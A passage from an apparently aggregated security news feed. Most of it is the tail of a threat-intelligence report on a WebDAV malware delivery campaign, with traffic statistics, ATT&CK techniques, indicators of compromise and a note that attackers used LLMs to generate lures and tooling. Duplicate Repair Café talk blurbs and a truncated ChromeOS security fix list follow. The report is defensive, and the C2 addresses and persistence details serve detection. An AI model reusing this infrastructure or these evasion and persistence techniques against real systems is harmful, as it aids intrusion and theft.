Kingdom</span></p></td><td><p><span>645</span></p></td><td><p><span>0.8%</span></p></td><td><p><span>40</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Netherlands</span></p></td><td><p><span>532</span></p></td><td><p><span>0.7%</span></p></td><td><p><span>49</span></p></td><td><p><span>1</span></p></td></tr><tr><td><p><span>France</span></p></td><td><p><span>407</span></p></td><td><p><span>0.5%</span></p></td><td><p><span>21</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Finland</span></p></td><td><p><span>401</span></p></td><td><p><span>0.5%</span></p></td><td><p><span>6</span></p></td><td><p><span>10</span></p></td></tr><tr><td><p><span>Brazil</span></p></td><td><p><span>343</span></p></td><td><p><span>0.4%</span></p></td><td><p><span>41</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Republic of Korea</span></p></td><td><p><span>312</span></p></td><td><p><span>0.4%</span></p></td><td><p><span>16</span></p></td><td><p><span>1</span></p></td></tr></tbody></table><p><span><em>Table 3: Geographic distribution of WebDAV delivery activity.</em></span></p><p><span><em></em></span></p><p><span>Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.</span></p><p><span>Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.</span></p><p><span>By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a </span><span><span data-type="inlineCode">GET</span></span><span> request for an </span><span><span data-type="inlineCode">.scr</span></span><span> or </span><span><span data-type="inlineCode">.exe</span></span><span> file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.</span></p><h2>Protocol behavior</h2><p><span>The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. </span><span><span data-type="inlineCode">PROPFIND</span></span><span> requests and </span><span><span data-type="inlineCode">207</span></span><span> responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. </span><span><span data-type="inlineCode">GET</span></span><span> requests and </span><span><span data-type="inlineCode">200</span></span><span> responses show file retrieval, including executable files opened or requested from the share.</span></p><p><span></span></p><table><colgroup data-width="500"><col><col></colgroup><tbody><tr><td><p><span><strong>Method</strong></span></p></td><td><p><span><strong>Count</strong></span></p></td></tr><tr><td><p><span>PROPFIND</span></p></td><td><p><span>57,287</span></p></td></tr><tr><td><p><span>GET</span></p></td><td><p><span>13,088</span></p></td></tr><tr><td><p><span>OPTIONS</span></p></td><td><p><span>6,597</span></p></td></tr><tr><td><p><span>PROPPATCH</span></p></td><td><p><span>125</span></p></td></tr><tr><td><p><span>LOCK</span></p></td><td><p><span>1</span></p></td></tr></tbody></table><p><span><em>Table 4: HTTP methods observed in WebDAV delivery traffic.</em></span></p><p><span><em></em></span></p><table><colgroup data-width="500"><col><col></colgroup><tbody><tr><td><p><span><strong>Status</strong></span></p></td><td><p><span><strong>Count</strong></span></p></td></tr><tr><td><p><span>207</span></p></td><td><p><span>57,412</span></p></td></tr><tr><td><p><span>200</span></p></td><td><p><span>19,532</span></p></td></tr><tr><td><p><span>206</span></p></td><td><p><span>154</span></p></td></tr></tbody></table><p><span><em>Table 5: HTTP status codes observed in WebDAV delivery traffic.</em></span></p><h2><span>MITRE ATT&amp;CK techniques</span></h2><table><colgroup data-width="1010"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Name</strong></span></p></td><td><p><span><strong>MITRE ATT&amp;CK technique</strong></span></p></td><td><p><span><strong>Code</strong></span></p></td></tr><tr><td><p><span>Payload execution</span></p></td><td><p><span>User Execution: Malicious File</span></p></td><td><p><span>T1204.002</span></p></td></tr><tr><td><p><span>Masquerading</span></p></td><td><p><span>Right-to-Left Override</span></p></td><td><p><span>T1036.002</span></p></td></tr><tr><td><p><span>Masquerading</span></p></td><td><p><span>Double File Extension</span></p></td><td><p><span>T1036.007</span></p></td></tr><tr><td><p><span>DLL sideloading</span></p></td><td><p><span>Hijack Execution Flow: DLL</span></p></td><td><p><span>T1574.001</span></p></td></tr><tr><td><p><span>Obfuscation</span></p></td><td><p><span>Encrypted/Encoded File</span></p></td><td><p><span>T1027.013</span></p></td></tr><tr><td><p><span>Payload unpacking</span></p></td><td><p><span>Deobfuscate/Decode Files or Information</span></p></td><td><p><span>T1140</span></p></td></tr><tr><td><p><span>Payload carrier</span></p></td><td><p><span>Steganography / image-carried payload data</span></p></td><td><p><span>T1027.003</span></p></td></tr><tr><td><p><span>API hiding</span></p></td><td><p><span>Dynamic API Resolution</span></p></td><td><p><span>T1027.007</span></p></td></tr><tr><td><p><span>In-memory loading</span></p></td><td><p><span>Reflective Code Loading</span></p></td><td><p><span>T1620</span></p></td></tr><tr><td><p><span>Injection</span></p></td><td><p><span>Process Hollowing</span></p></td><td><p><span>T1055.012</span></p></td></tr><tr><td><p><span>Native API use</span></p></td><td><p><span>Native API</span></p></td><td><p><span>T1106</span></p></td></tr><tr><td><p><span>Sandbox evasion</span></p></td><td><p><span>Time Based Evasion</span></p></td><td><p><span>T1497.003</span></p></td></tr><tr><td><p><span>Anti-analysis</span></p></td><td><p><span>Debugger / instrumentation checks</span></p></td><td><p><span>T1622</span></p></td></tr><tr><td><p><span>UAC bypass</span></p></td><td><p><span>Bypass User Account Control</span></p></td><td><p><span>T1548.002</span></p></td></tr><tr><td><p><span>Persistence</span></p></td><td><p><span>Registry Run Keys / Startup Folder</span></p></td><td><p><span>T1547.001</span></p></td></tr><tr><td><p><span>Persistence</span></p></td><td><p><span>Scheduled Task</span></p></td><td><p><span>T1053.005</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Keylogging</span></p></td><td><p><span>T1056.001</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Screen Capture</span></p></td><td><p><span>T1113</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Clipboard Data</span></p></td><td><p><span>T1115</span></p></td></tr><tr><td><p><span>Credential access</span></p></td><td><p><span>Credentials from Web Browsers</span></p></td><td><p><span>T1555.003</span></p></td></tr><tr><td><p><span>Credential access</span></p></td><td><p><span>Steal Web Session Cookie</span></p></td><td><p><span>T1539</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Data from Local System</span></p></td><td><p><span>T1005</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Automated Collection</span></p></td><td><p><span>T1119</span></p></td></tr><tr><td><p><span>Staging</span></p></td><td><p><span>Archive Collected Data: Archive via Utility</span></p></td><td><p><span>T1560.001</span></p></td></tr><tr><td><p><span>C2</span></p></td><td><p><span>Encrypted Channel</span></p></td><td><p><span>T1573</span></p></td></tr><tr><td><p><span>Exfiltration</span></p></td><td><p><span>Exfiltration Over C2 Channel</span></p></td><td><p><span>T1041</span></p></td></tr><tr><td><p><span>Possible persistence</span></p></td><td><p><span>WMI Event Subscription</span></p></td><td><p><span>T1546.003</span></p></td></tr><tr><td><p><span>Phishing lure generation</span></p></td><td><p><span>Generate Phishing Lures</span></p></td><td><p><span>AML.T0052</span></p></td></tr><tr><td><p><span>Resource Development</span></p></td><td><p><span>Resource Development</span></p></td><td><p><span>AML.TA0003</span></p></td></tr><tr><td><p><span>Obtain capabilities via LLM tooling</span></p></td><td><p><span>Obtain Capabilities</span></p></td><td><p><span>AML.T0016</span></p></td></tr><tr><td><p><span>LLM-assisted capability development</span></p></td><td><p><span>Develop Capabilities</span></p></td><td><p><span> AML.T0017</span></p></td></tr><tr><td><p><span>LLM prompt crafting for attack documentation</span></p></td><td><p><span>LLM Prompt Crafting</span></p></td><td><p><span>AML.T0065</span></p></td></tr><tr><td><p><span>Obtain capabilities via tooling</span></p></td><td><p><span>Obtain Capabilities: Software Tools</span></p></td><td><p><span>AML.T0016.001</span></p></td></tr></tbody></table><h2><span>Indicators of compromise (IOCs)</span></h2><h3>CURP campaign</h3><p>Phishing page: hxxps://gobf[.]mx </p><p>WebDav server: onedrive[.]cv</p><p></p><p>ReportFinal.&lt;RLO&gt;.scr    SHA256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7</p><p></p><p>C2: 77.110.127.205 ports 56001-56003 / 57666 / 57777 / 57888</p><p>Domain: google.services[.]ug</p><p>Campaign tag:06x12x2026SantaEbash2  (v4.4.3)</p><p>Schedule tasks: brokerhost, net_queue_32</p><p></p><p>Staging paths:</p><p>%TEMP%\is-XXXXX.tmp\Fo-Binary.exe </p><p>%AppData%\Roaming\inttracer_i686_prod\      </p><p> C:\ProgramData\inttracer_i686_prod\</p><h3>DlrtyGames campaign </h3><p>C2: 23[.]94[.]252[.]228:57666</p><p>JA3: fc54e0d16d9764783542f0146a98b300</p><p>DlrtyGames.exe</p><p>SHA256: e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268</p><p>discord-rpc.x64.dll</p><p>SHA256: 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df</p><p>profiler16.dll</p><p>SHA256: a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9</p><p>loader-pool.db</p><p>SHA256: 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b</p><p>.NET RAT</p><p>SHA256: 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923</p><p>Staging paths:</p><p>C:\ProgramData\basenet\</p><p>%APPDATA%\basenet\</p><p>Persistence:</p><p>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW</p><p>\com_app_bg_i686</p><p>\messenger_component_v8_32_rc</p><p></p><p>More indicators of compromise can be found on Rapid7’s <a href="https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/Simba%20Panel" target="_blank">GitHub</a>.</p><h2>Rapid7 customers</h2><p>Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.</p><h2>Conclusion</h2><p><span>The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.</span></p><p><span>The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded. </span></p><p><span>While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.</span></p><p><span>The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Repair Cafés: Come for the Soldering, Stay for the Stories (emf2026)]]></title>
<description><![CDATA[What is a Repair Café and why should you take part in one?

Fighting against the throwaway society, Repair Cafes bring together local people with broken or worn items and volunteer fixers with the skills to repair them.

We fix things like clothes, furniture, appliances, electronics and toys.

If...]]></description>
<link>https://tsecurity.de/de/3679341/it-security-video/repair-cafs-come-for-the-soldering-stay-for-the-stories-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679341/it-security-video/repair-cafs-come-for-the-soldering-stay-for-the-stories-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 12:48:20 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[What is a Repair Café and why should you take part in one?

Fighting against the throwaway society, Repair Cafes bring together local people with broken or worn items and volunteer fixers with the skills to repair them.

We fix things like clothes, furniture, appliances, electronics and toys.

If you’re a maker at EMF then your skills with a soldering iron could be valuable - or so you’d think.
But you’ll find that it’s much more about how to take things apart (and put them back together again), finding what’s broken, and just having a nice chat with someone while you do it.

Our café has been going for 3 years. We’ve repaired hundreds of items, saved tonnes of waste from landfill and donated thousands of pounds to local charities.

I’ll share stories of the most interesting repairs, successful and less successful.
And of the people who run the café as well as the visitors

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/152-repair-caf%C3%A9s-come-for-the-soldering-stay-for-the-stories]]></content:encoded>
</item>
<item>
<title><![CDATA[Repair Cafés: Come for the Soldering, Stay for the Stories (emf2026)]]></title>
<description><![CDATA[What is a Repair Café and why should you take part in one?

Fighting against the throwaway society, Repair Cafes bring together local people with broken or worn items and volunteer fixers with the skills to repair them.

We fix things like clothes, furniture, appliances, electronics and toys.

If...]]></description>
<link>https://tsecurity.de/de/3679324/it-security-video/repair-cafs-come-for-the-soldering-stay-for-the-stories-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679324/it-security-video/repair-cafs-come-for-the-soldering-stay-for-the-stories-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 12:32:56 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[What is a Repair Café and why should you take part in one?

Fighting against the throwaway society, Repair Cafes bring together local people with broken or worn items and volunteer fixers with the skills to repair them.

We fix things like clothes, furniture, appliances, electronics and toys.

If you’re a maker at EMF then your skills with a soldering iron could be valuable - or so you’d think.
But you’ll find that it’s much more about how to take things apart (and put them back together again), finding what’s broken, and just having a nice chat with someone while you do it.

Our café has been going for 3 years. We’ve repaired hundreds of items, saved tonnes of waste from landfill and donated thousands of pounds to local charities.

I’ll share stories of the most interesting repairs, successful and less successful.
And of the people who run the café as well as the visitors

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/152-repair-caf%C3%A9s-come-for-the-soldering-stay-for-the-stories]]></content:encoded>
</item>
<item>
<title><![CDATA[Stable Channel Update for ChromeOS / ChromeOS Flex]]></title>
<description><![CDATA[The ChromeOS Stable channel is being updated to OS version 16700.46.0 (Browser version 150.0.7871.150) for most ChromeOS devices.If you find new issues, please let us know one of the following ways:File a bugVisit our ChromeOS communitiesGeneral: Chromebook Help CommunityBeta Specific: ChromeOS B...]]></description>
<link>https://tsecurity.de/de/3678844/it-security-nachrichten/stable-channel-update-for-chromeos-chromeos-flex/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678844/it-security-nachrichten/stable-channel-update-for-chromeos-chromeos-flex/</guid>
<pubDate>Sun, 19 Jul 2026 06:07:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span color="rgba(0, 0, 0, 0.87)">The ChromeOS Stable channel is being updated to OS version </span><span color="rgba(0, 0, 0, 0.87)">16700.46.0</span><span color="rgba(0, 0, 0, 0.87)"> (Browser version </span><span color="rgba(0, 0, 0, 0.87)">150.0.7871.150</span><span color="rgba(0, 0, 0, 0.87)">) for most ChromeOS devices.</span></p><div><span><span>If you find new issues, please let us know one of the following ways:</span></span></div><ol><li><span><span><a href="https://bugs.chromium.org/p/chromium/issues/list"><span>File a bug</span></a></span></span></li><li aria-level="1"><p role="presentation"><span><span>Visit our ChromeOS communities</span></span></p></li><ol><li aria-level="2"><p role="presentation"><span><span>General: </span><a href="https://support.google.com/chromebook/community/?hl=en&amp;gpf=%23!forum%2Fchromebook-central"><span>Chromebook Help Community</span></a></span></p></li><li aria-level="2"><p role="presentation"><span><span>Beta Specific: </span><a href="https://support.google.com/chromeos-beta/community"><span>ChromeOS Beta Help Community</span></a></span></p></li></ol><li aria-level="1"><p role="presentation"><a href="https://support.google.com/chrome/answer/95315?hl=en&amp;co=GENIE.Platform%3DDesktop"><span><span><span>Report an issue or send feedback on Chrome</span></span></span></a></p></li><li aria-level="1"><p role="presentation"><span><span>Interested in switching channels? </span><a href="https://support.google.com/chromebook/answer/1086915"><span>Find out how.</span></a></span></p></li></ol><div><span><h4 dir="ltr"><span>ChromeOS Vulnerability Rewards Program Reported Bug Fixes:</span></h4><br><p dir="ltr"><span>N/A</span></p><h4 dir="ltr"><span>Other 3rd Party Security Fixes Included:</span></h4><br><p dir="ltr"><span>High</span><span> Fixes  CVE-2026-46242 (Bad epoll) - Linux Local Privilege Escalation </span></p><p dir="ltr"><span>Medium</span><span> Fixes  CVE-2026-49746 [PSP-528][PP-173890][KMD] Dimension Mismatch and Integer Truncation in `PMRDevPhysAddrOSMem` </span></p><p dir="ltr"><span>High</span><span> Fixes   Potential UAF via Profile/Service Desync in shill ConfigureService </span></p><p dir="ltr"><span>Medium</span><span> Fixes   CWE-862: shill Manager.NotifyDHCPEvent reachable from chronos allows DHCP spoofing </span></p><p dir="ltr"><span>Medium</span><span> Fixes  CVE-2026-45204 [PSP-406][PowerVR] Out of bounds memory access and kernel NULL pointer dereference in DmaTransfer when pui64Address is a pointer to device memory </span></p><p dir="ltr"><span>High</span><span> Fixes   Stack OOB Read to Heap OOB Write in msm_ccmd_ioctl_simple via Guest-Controlled _IOC_SIZE </span></p><p dir="ltr"><span>High</span><span> Fixes   [LPE] Patchpanel ConnectNamespace PID Gate Bypass Allows CAP_NET_ADMIN Root Netns Operations </span></p><p dir="ltr"><span>Medium</span><span> Fixes  CVE-2026-49745 [PSP-598][PP-174017] Unvalidated sHWPerfCtlDMABuf GPU-VA, DMA-write into FW privdata via MMU ctx 0 </span></p><p dir="ltr"><span>High</span><span> Fixes   Heap OOB write in ANGLE D3D11 vertex streaming via `WEBGL_draw_instanced_base_vertex_base_instance` </span></p><p dir="ltr"><span>High</span><span> Fixes   Use-After-Free in CRAS LE-Audio via group removal race condition </span></p><p dir="ltr"><span>High</span><span> Fixes   Cross-client microphone audio exfiltration via missing CRAS stream ownership check </span></p><p dir="ltr"><span>High</span><span> Fixes   Use-After-Free in CRAS server via dangling active_fm-&gt;lea pointer </span></p><p dir="ltr"><span>Critical</span><span> Fixes   [LPE] Arbitrary file read as root in printscanmgr via FD leak and path traversal </span></p><p dir="ltr"><span>High</span><span> Fixes   Privilege escalation in CRAS via DlcStateChanged signal spoofing </span></p><p dir="ltr"><span>High</span><span> Fixes   missing untrusted input validation in chromeos-boot-alert leads to root pango-view processing attacker file </span></p><p dir="ltr"><span>High</span><span> Fixes   UAF and Control Flow Hijack in CRAS A2DP Profile Switching </span></p><p dir="ltr"><span>Medium</span><span> Fixes   Heap OOB Read in Floss A2DP via Ring Buffer Misalignment </span></p><p dir="ltr"><span>High</span><span> Fixes   Heap OOB write in CRAS mSBC SCO handling via dynamic packet size adjustment </span></p><p dir="ltr"><span>High</span><span> Fixes   UAF in CRAS server via dangling default_rmod-&gt;odev pointer after stream disconnect </span></p><p dir="ltr"><span>High</span><span> Fixes   Crosvm xHCI guest-to-host OOB write via unchecked DMA buffer size </span></p><p dir="ltr"><span>High</span><span> Fixes   Use-After-Free in CRAS HFP SLC due to leaked timer in AT+CMER handler </span></p><p dir="ltr"><span>High</span><span> Fixes   CRAS OOB write via integer overflow in cras_shm_buff_for_idx </span></p><p dir="ltr"><span>High</span><span> Fixes   OOB write in CRAS via unsigned underflow in cras_audio_area_copy </span></p><p dir="ltr"><span>High</span><span> Fixes   Use-After-Free in CRAS echo_ref_requests via concurrent list mutation </span></p><p dir="ltr"><span>High</span><span> Fixes   Unauthenticated CRAS Loopback Hijacking allows Cross-Client Audio Capture </span></p><p dir="ltr"><span>High</span><span> Fixes   Use-After-Free in CRAS loopback traversal due to data race </span></p><p dir="ltr"><span>High</span><span> Fixes   Out-of-bounds write in CRAS server via unvalidated client_shm_size </span></p><p dir="ltr"><span>Critical</span><span> Fixes   [LPE] Arbitrary `tc` Command Injection in `shill` Throttler via `TetheringConfig` </span></p><p dir="ltr"><span>High</span><span> Fixes   Potential Use-After-Free in vm_concierge ArcVm via base::Unretained in async D-Bus callback </span></p><p dir="ltr"><span>Medium</span><span> Fixes   TOCTOU in permission_broker allows chronos to open arbitrary device nodes </span></p><p dir="ltr"><span>Medium</span><span> Fixes   [PSP-490][PowerVR] Read UAF in GrowMipLevelArray() due to incorrect texture array iteration during image copy </span></p><p dir="ltr"><span>Medium</span><span> Fixes   [PSP-495][PowerVR] OOB read in CreateTextureMemory() due to memory mismanagement after texture format change </span></p><p dir="ltr"><span>Medium</span><span> Fixes   [PSP-516][PowerVR] Secondary mapping of the freelist PMR allows reading Freelist contents via GPU shader </span></p><p dir="ltr"><span>Medium</span><span> Fixes   [PSP-443][KMD][PowerVR] Read UAF of sync checkpoint in pvr_sync_finalise_fence() after update fence file descriptor is prematurely closed </span></p><p dir="ltr"><span>Medium</span><span> Fixes  CVE-2026-34196 [PSP-372][PowerVR] UAF read and/or write of arbitrary physical memory due to integer truncation in PMRDevPhysAddrOSMem </span></p><p dir="ltr"><span>Medium</span><span> Fixes  CVE-2026-7639 [PSP-452][KMD] Page UAF read in `PMMETA_PROTECT` heap memory </span></p><p dir="ltr"><span>Medium</span><span> Fixes   [PSP-415] [PROJ-ZERO] PowerVR: [crash-only bug] kernel crash due to faulting userspace memory access without fault handling </span></p><p dir="ltr"><span>Android Security fixes can be found </span><a href="https://source.android.com/docs/security/bulletin/2026-07-01"><span>here</span></a></p><br><h4 dir="ltr"><span>Chrome Browser Security Fixes:</span></h4><br><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/524395469"><span>[524395469</span></a><span>] </span><span>High</span><span> CVE-2026-13855 Use after free in Ozone  on  2026-06-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/524290062"><span>[524290062</span></a><span>] </span><span>Medium</span><span> CVE-2026-14432 Use after free in V8  on  2026-06-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/523884658"><span>[523884658</span></a><span>] </span><span>High</span><span> CVE-2026-14431 Type Confusion in V8 Reported by [OpenAI Codex Security (amyb)] on  2026-06-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/523690961"><span>[523690961</span></a><span>] </span><span>High</span><span> CVE-2026-13854 Use after free in Ozone  on  2026-06-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/523224019"><span>[523224019</span></a><span>] </span><span>High</span><span> CVE-2026-13853 Use after free in Journeys  on  2026-06-12 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/520571816"><span>[520571816</span></a><span>] </span><span>High</span><span> CVE-2026-14429 Insufficient validation of untrusted input in Skia  on  2026-06-05 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/520113415"><span>[520113415</span></a><span>] </span><span>Critical</span><span> CVE-2026-14427 Heap buffer overflow in Skia  on  2026-06-04 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/518247789"><span>[518247789</span></a><span>] </span><span>Low</span><span> CVE-2026-14156 Policy bypass in StorageAccessAPI  on  2026-05-30 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/518246925"><span>[518246925</span></a><span>] </span><span>Low</span><span> CVE-2026-14155 Insufficient policy enforcement in StorageAccessAPI  on  2026-05-30 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/518245882"><span>[518245882</span></a><span>] </span><span>Medium</span><span> CVE-2026-14024 Use after free in Ozone  on  2026-05-30 </span></p><p dir="ltr"><span>[$1000.0] </span><a href="https://issuetracker.google.com/517981277"><span>[517981277</span></a><span>] </span><span>High</span><span> CVE-2026-14426 Use after free in V8 Reported by [] on  2026-05-30 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/518063436"><span>[518063436</span></a><span>] </span><span>Medium</span><span> CVE-2026-14023 Insufficient validation of untrusted input in SanitizerAPI  on  2026-05-29 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/518007821"><span>[518007821</span></a><span>] </span><span>Critical</span><span> CVE-2026-13786 Use after free in Ozone  on  2026-05-29 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517935753"><span>[517935753</span></a><span>] </span><span>High</span><span> CVE-2026-14425 Use after free in ANGLE  on  2026-05-29 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517791835"><span>[517791835</span></a><span>] </span><span>Medium</span><span> CVE-2026-14022 Insufficient validation of untrusted input in Network  on  2026-05-29 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517741170"><span>[517741170</span></a><span>] </span><span>Low</span><span> CVE-2026-14154 Inappropriate implementation in DevTools  on  2026-05-28 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517731924"><span>[517731924</span></a><span>] </span><span>Medium</span><span> CVE-2026-14021 Insufficient validation of untrusted input in StorageAccessAPI  on  2026-05-28 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517684077"><span>[517684077</span></a><span>] </span><span>Low</span><span> CVE-2026-14153 Inappropriate implementation in Glic  on  2026-05-28 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517598518"><span>[517598518</span></a><span>] </span><span>Medium</span><span> CVE-2026-14020 Insufficient validation of untrusted input in WebXR  on  2026-05-28 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517534944"><span>[517534944</span></a><span>] </span><span>Low</span><span> CVE-2026-14152 Out of bounds write in ANGLE  on  2026-05-28 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517522769"><span>[517522769</span></a><span>] </span><span>High</span><span> CVE-2026-14423 Type Confusion in Tint  on  2026-05-28 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517455455"><span>[517455455</span></a><span>] </span><span>Medium</span><span> CVE-2026-14019 Inappropriate implementation in Passwords on IP-literal pages  on  2026-05-28 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517381770"><span>[517381770</span></a><span>] </span><span>Low</span><span> CVE-2026-14151 Inappropriate implementation in AI  on  2026-05-27 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517376041"><span>[517376041</span></a><span>] </span><span>Low</span><span> CVE-2026-14150 Insufficient validation of untrusted input in Speech  on  2026-05-27 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517345069"><span>[517345069</span></a><span>] </span><span>High</span><span> CVE-2026-13848 Use after free in Forms  on  2026-05-27 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517241992"><span>[517241992</span></a><span>] </span><span>Medium</span><span> CVE-2026-14017 Inappropriate implementation in Navigation  on  2026-05-27 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517234388"><span>[517234388</span></a><span>] </span><span>Medium</span><span> CVE-2026-14016 Insufficient policy enforcement in SVG  on  2026-05-27 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517155893"><span>[517155893</span></a><span>] </span><span>Medium</span><span> CVE-2026-14014 Inappropriate implementation in Paint  on  2026-05-27 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517114175"><span>[517114175</span></a><span>] </span><span>Medium</span><span> CVE-2026-14013 Inappropriate implementation in SVG  on  2026-05-27 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517110749"><span>[517110749</span></a><span>] </span><span>Medium</span><span> CVE-2026-14012 Side-channel information leakage in CSS  on  2026-05-27 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517033235"><span>[517033235</span></a><span>] </span><span>Medium</span><span> CVE-2026-14421 Uninitialized Use in Dawn on ChromeOS-ARM due to disabled Mali multi-resolve workaround  on  2026-05-27 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517031505"><span>[517031505</span></a><span>] </span><span>Critical</span><span> CVE-2026-14420 Out of bounds read and write in Dawn  on  2026-05-27 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/516981393"><span>[516981393</span></a><span>] </span><span>Critical</span><span> CVE-2026-14419 Use after free in Skia on Allocation Failure  on  2026-05-26 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/516962715"><span>[516962715</span></a><span>] </span><span>Critical</span><span> CVE-2026-13784 Use after free in Views  on  2026-05-26 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/516962178"><span>[516962178</span></a><span>] </span><span>Critical</span><span> CVE-2026-13783 Use after free in Views  on  2026-05-26 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/516944556"><span>[516944556</span></a><span>] </span><span>Medium</span><span> CVE-2026-14011 Out of bounds read in SurfaceCapture  on  2026-05-26 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/516936863"><span>[516936863</span></a><span>] </span><span>High</span><span> CVE-2026-13845 Use after free in DOM  on  2026-05-26 </span></p><p dir="ltr"><span>[$3000.0] </span><a href="https://issuetracker.google.com/516836297"><span>[516836297</span></a><span>] </span><span>High</span><span> CVE-2026-13842 Incorrect security UI in Chrome for iOS Reported by [] on  2026-05-26 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/516865345"><span>[516865345</span></a><span>] </span><span>High</span><span> CVE-2026-14418 Uninitialized Use in ANGLE  on  2026-05-26 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/516819850"><span>[516819850</span></a><span>] </span><span>Medium</span><span> CVE-2026-14009 Insufficient data validation in 